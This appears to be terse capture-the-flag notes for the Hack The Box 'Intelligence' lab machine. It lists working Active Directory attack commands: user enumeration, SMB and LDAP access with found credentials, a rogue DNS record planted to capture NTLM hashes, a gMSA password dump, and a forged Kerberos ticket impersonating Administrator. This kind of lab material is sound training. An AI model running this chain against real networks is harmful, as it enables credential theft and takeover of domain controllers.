# Intelligence

domain - intelligence\
administrator\
\
<http://10.10.10.248/documents/2020-12-15-upload.pdf>\
year-mm-dd\
\
for i in range(0,len(date)):\
...: b = requests.get(url+date\[i]+"-upload.pdf", timeout=5)\
...: if b.status\_code == 200:\
...: print(date\[i]+":Yes")\
...: a = open(date\[i]+".pdf","wb")\
...: a.write(b.content)\
...: a.close()\
...: else:\
...: print(date\[i]+":No")\
\
\- GetNPUsers.py -dc-ip 10.10.10.248 -usersfile pdf\_users intelligence/\
\- ./kerbrute\_linux\_amd64 userenum --dc 10.10.10.248 -d "intelligence" ../intelligence/pdf\_users\
\[99 users]<br>

smbclient -U "Tiffany.Molina%\[redacted]" -L 10.10.10.248

-python3 crackmapexec smb 10.10.10.248 -u Tiffany.Molina -p '\[redacted]' -x whoami\
\
\- spider all shares using crackmapexec \[viewable at /tmp/]

python3 crackmapexec smb 10.10.10.248 -u Tiffany.Molina -p '\[redacted]' -M spider\_plus\
\
psexec.py \<domain>/\<username>:\<password>@\<IP>\
\
psexec.py intelligence/Tiffany.Molina:\[redacted]@10.10.10.248\
\
\
DC=intelligence,DC=htb\
CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb\
\
• LDAP\
ldapsearch -x -h 10.10.10.248 -D "intelligence\Tiffany.Molina" -w \[redacted] -b 'DC=intelligence,DC=htb'\
\
\- LDIF\
dn: ou=People123,dc=intelligence,dc=htb\
objectClass: organizationalUnit\
ou: People123\
\
ldapadd -x -h 10.10.10.248 -D "intelligence\Tiffany.Molina" -w \[redacted] -b 'DC=intelligence,DC=htb' -f test1\
\
\- create LDAP DNS entry for responder IP\
python3 dnstool.py -u intelligence\\\Tiffany.Molina -p \[redacted] -a add -d \<resp. IP> -r webtemp.intelligence.htb 10.10.10.248\
\
\- check LDAP DNS record\
ldapsearch -x -h 10.10.10.248 -D "intelligence\Tiffany.Molina" -w \[redacted] -b 'DC=domaindnszones,DC=intelligence,DC=htb'\
\
smbclient -L 10.10.10.248 --pw-nt-hash\
\
python3 gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb -l 10.10.10.248\
\
getST.py -dc-ip 10.10.10.248 -impersonate Administrator -hashes :c699eaac79b69357d9dabee3379547e6 intelligence.htb/svc\_int$ -spn WWW/dc.intelligence.htb\
\
smbclient.py -k intelligence.htb/Administrator\@dc.intelligence.htb -no-pass\
\
\
\
\---------------------------------\
Path:\
\---------------------------------\
\- Enumerated SMB\
\- List of objects from LDAP\
\- Username from creator metadata of pdf is valid windows user for domain “intelligence”\
\- Bruteforce a user using kerberos\
\- ~~writing data through LDAP using tiffany~~ \[INSUFF\_ACCESS\_RIGHTS]\
\- change defaults creds of user using LDAP?\
\- adding a DNS record with web\*\
\- Cracking/Reusing the NTLMv2 Hash\
\- Using the new creds to get any GASM enabled accounts\
\- Get a kerberos ticket using that service account and impersonating the Administrator\
\- Use the kerberos ticket to get access to SMB
